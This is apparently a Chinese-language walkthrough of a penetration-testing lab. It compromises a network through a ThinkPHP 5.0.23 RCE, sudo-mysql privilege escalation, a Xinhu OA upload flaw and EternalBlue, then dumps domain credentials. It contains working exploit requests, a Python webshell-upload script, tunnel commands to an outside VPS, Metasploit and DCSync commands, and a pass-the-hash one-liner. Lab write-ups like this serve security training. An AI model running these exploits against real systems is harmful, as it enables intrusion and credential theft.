靶场介绍

image-20250522102742501

flag-1 : 外网打点

先用fscan扫一下端口和漏洞

image-20250309220622197

扫出来一个80端口开放的网站,同时扫出一个ThinkPHP5 5.0.23 远程代码执行漏洞

1
ThinkPHP是国内使用极为广泛的PHP开发框架,在5.0版本(<5.0.24)中,框架在获取请求方法时存在错误处理,导致攻击者可以调用Request类的任意方法,通过特定的利用链造成RCE漏洞。

访问是一个登录页面

image-20250309221004774

thinkphp getshell方法

方法一:thinkphp一把梭

image-20250309221723327

直接连马就行

方法二:手动注入

image-20250309221845306

image-20250309222104463

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /index.php?s=captcha HTTP/1.1
Host: 39.99.137.168
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 76

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

whoami有回显,用file_put_contents函数写一句话木马

image-20250309222500648

然后用system执行ls看一下有没有写进去

b5618ea21af9e4fea09a42daeb0cf966

哈哈哈哈哈和群友一起打的,他们传了好多木马

直接连马

寻找flag+提权

image-20250309222943516

在根目录看到root,但是root文件没权限访问

image-20250309223229389

用蚁剑的插件去提权

输入sudo -l回显

image-20250309223531043

这段命令输出是在 Linux 系统上使用 sudo -l 查看用户 www-data 在当前主机上可以通过 sudo 命令以特权用户身份运行的命令。

这里可以看出来www-data 用户可以直接以 root 权限执行 MySQL 命令。

然后我们通过 MySQL 执行系统命令

1
2
3
4
5
6
(www-data:/var/www/html) $ sudo mysql -e '\! /bin/sh'
(www-data:/var/www/html) $ sudo mysql -e '\! ls /root'
flag
(www-data:/var/www/html) $ sudo mysql -e '\! ls /root/flag'
flag01.txt
(www-data:/var/www/html) $ sudo mysql -e '\! cat /root/flag/flag01.txt'
  • \! 是 MySQL 命令行中的一个特殊命令,用于执行系统命令。在这种情况下,它启动了一个新的 shell(/bin/sh)。

flag01: flag{60b53231-

flag-2,3:内网渗透

内网ip探测

先ifconfig看看当前的网卡信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
(www-data:/var/www/html) $ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.22.1.15 netmask 255.255.0.0 broadcast 172.22.255.255
inet6 fe80::216:3eff:fe24:b95c prefixlen 64 scopeid 0x20<link>
ether 00:16:3e:24:b9:5c txqueuelen 1000 (Ethernet)
RX packets 149986 bytes 171053739 (171.0 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 51769 bytes 7552639 (7.5 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 1152 bytes 99609 (99.6 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1152 bytes 99609 (99.6 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

上传一个fscan在tmp目录下(群友已经传了,直接用了)

给777权限然后扫内网ip

1
(www-data:/var/www/html/tmp) $ ./fscan -h 172.22.1.0/24

结果在当前目录下的result.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
172.22.1.18:3306 open
172.22.1.21:445 open
172.22.1.18:445 open
172.22.1.2:445 open
172.22.1.21:139 open
172.22.1.18:139 open
172.22.1.2:139 open
172.22.1.21:135 open
172.22.1.18:80 open
172.22.1.15:80 open
172.22.1.15:22 open
172.22.1.18:135 open
172.22.1.2:135 open
172.22.1.2:88 open
[*] NetInfo
[*]172.22.1.2
[->]DC01
[->]172.22.1.2
[*] WebTitle http://172.22.1.15 code:200 len:5578 title:Bootstrap Material Admin
[*] NetInfo
[*]172.22.1.18
[->]XIAORANG-OA01
[->]172.22.1.18
[*] NetInfo
[*]172.22.1.21
[->]XIAORANG-WIN7
[->]172.22.1.21
[*] OsInfo 172.22.1.2 (Windows Server 2016 Datacenter 14393)
[+] MS17-010 172.22.1.21 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] NetBios 172.22.1.2 [+] DC:DC01.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] NetBios 172.22.1.21 XIAORANG-WIN7.xiaorang.lab Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[*] NetBios 172.22.1.18 XIAORANG-OA01.xiaorang.lab Windows Server 2012 R2 Datacenter 9600
[*] WebTitle http://172.22.1.18 code:302 len:0 title:None 跳转url: http://172.22.1.18?m=login
[*] WebTitle http://172.22.1.18?m=login code:200 len:4012 title:信呼协同办公系统
[+] PocScan http://172.22.1.15 poc-yaml-thinkphp5023-method-rce poc1

172.22.1.21:对应的主机名为 XIAORANG-OA01,存在MS17-010 漏洞

172.22.1.2:DC域控

172.22.1.18:信呼OA办公系统

内网穿透

使用Stowaway搭建隧道

image-20250309230505042

image-20250309231411403

先上传一个linux_x64_agent到靶机然后777给权限

image-20250309230615074

然后上传linux_x64_admin到自己的云服务器并给权限

1
./linux_x64_admin -l 12345 -s 654321

设置参数,设置监听端口为12345

image-20250309231628694

然后靶机执行

1
./linux_x64_agent -c 123.56.166.154:12345 -s 654321 --reconnect 8

image-20250309231817679

成功搭建隧道

1
2
use 0
socks 5555 //端口自定义

image-20250309232238383

proxy插件配置代理ip为vps的ip然后端口为5555后访问

信呼协同办公系统v2.2.8文件上传漏洞

发现代理配置一直不是很稳定,直接看的师傅的wp去做了

image-20250309232759051

弱口令admin/admin123登录

文件上传漏洞,直接exp一把梭

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import os
import requests

session = requests.session()
proxy = {
"http": "socks5://47.109.176.117:5555",
}

url_pre = 'http://172.22.1.18/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'

data1 = {
'rempass': '0',
'jmpass': 'false',
'device': '1625884034525',
'ltype': '0',
'adminuser': 'YWRtaW4=',
'adminpass': 'YWRtaW4xMjM=',
'yanzm': ''
}

with open("1.php","w") as f:
f.write("<?php eval($_POST['Infernity']);")
f.close()

session.post(url1, data=data1, proxies=proxy)
res = session.post(url2, files={'file': open('1.php', 'r+')}, proxies=proxy)
os.remove('1.php')

filepath = str(res.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = res.json()['id']
print(filepath)
url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'

session.get(url3, proxies=proxy)
res = session.post(url_pre + filepath,data={"Infernity":"system('whoami');"}, proxies=proxy)
print(res.text)

得到上传木马的路径后访问文件然后用蚁剑连接

image-20250309233225962

img

是Windows的服务器,直接终端找flag

1
C:/Users/Administrator/flag/flag02.txt

查看看到flag02的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
 ___    ___ ___  ________  ________  ________  ________  ________   ________     
|\ \ / /|\ \|\ __ \|\ __ \|\ __ \|\ __ \|\ ___ \|\ ____\
\ \ \/ / | \ \ \ \|\ \ \ \|\ \ \ \|\ \ \ \|\ \ \ \\ \ \ \ \___|
\ \ / / \ \ \ \ __ \ \ \\\ \ \ _ _\ \ __ \ \ \\ \ \ \ \ ___
/ \/ \ \ \ \ \ \ \ \ \\\ \ \ \\ \\ \ \ \ \ \ \\ \ \ \ \|\ \
/ /\ \ \ \__\ \__\ \__\ \_______\ \__\\ _\\ \__\ \__\ \__\\ \__\ \_______\
/__/ /\ __\ \|__|\|__|\|__|\|_______|\|__|\|__|\|__|\|__|\|__| \|__|\|_______|
|__|/ \|__|


flag02: 2ce3-4813-87d4-

Awesome! ! ! You found the second flag, now you can attack the domain controller.

最后一个ms17-010永恒之蓝的漏洞,估计最后一个flag就在里面了

XIAORANG-OA01的ms17-010漏洞

ms的话就需要在kali里面打了,先在kali里面配置一下代理

1
vim /etc/proxychains4.conf

image-20250521111838878

然后运行msf

1
2
3
4
5
proxychains4 msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.1.21
exploit
fea5565ac5ada0e201344f23f8ab0527
1
2
3
4
5
6
7
8
9
10
11
DCSync攻击:
DCSync的原理是利用域控制器之间的数据同步复制
DCSync是AD域渗透中常用的凭据窃取手段,默认情况下,域内不同DC每隔15分钟会进行一次数据同步,当一个DC从另外一个DC同步数据时,发起请求的一方会通过目录复制协议(MS- DRSR)来对另外一台域控中的域用户密码进行复制,DCSync就是利用这个原理,“模拟”DC向真实DC发送数据同步请求,获取用户凭据数据,由于这种攻击利用了Windows RPC协议,并不需要登陆域控或者在域控上落地文件,避免触发EDR告警,因此DCSync时一种非常隐蔽的凭据窃取方式

DCSync 攻击前提:

想进行DCSync 攻击,必须获得以下任一用户的权限:
Administrators 组内的用户
Domain Admins 组内的用户
Enterprise Admins 组内的用户域控制器的计算机帐户
即:默认情况下域管理员组具有该权限

然后我们

1
2
3
load kiwi
kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit
exit

0ea98d300649e13bb4684b41cd19b851

crackmapexec利用admin的哈希来打

1
2
3
4
5
proxychains4 crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "whoami"

proxychains4 crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

e8f88d0d43d6}
4523a387f7a353523d9a32a1a549ac19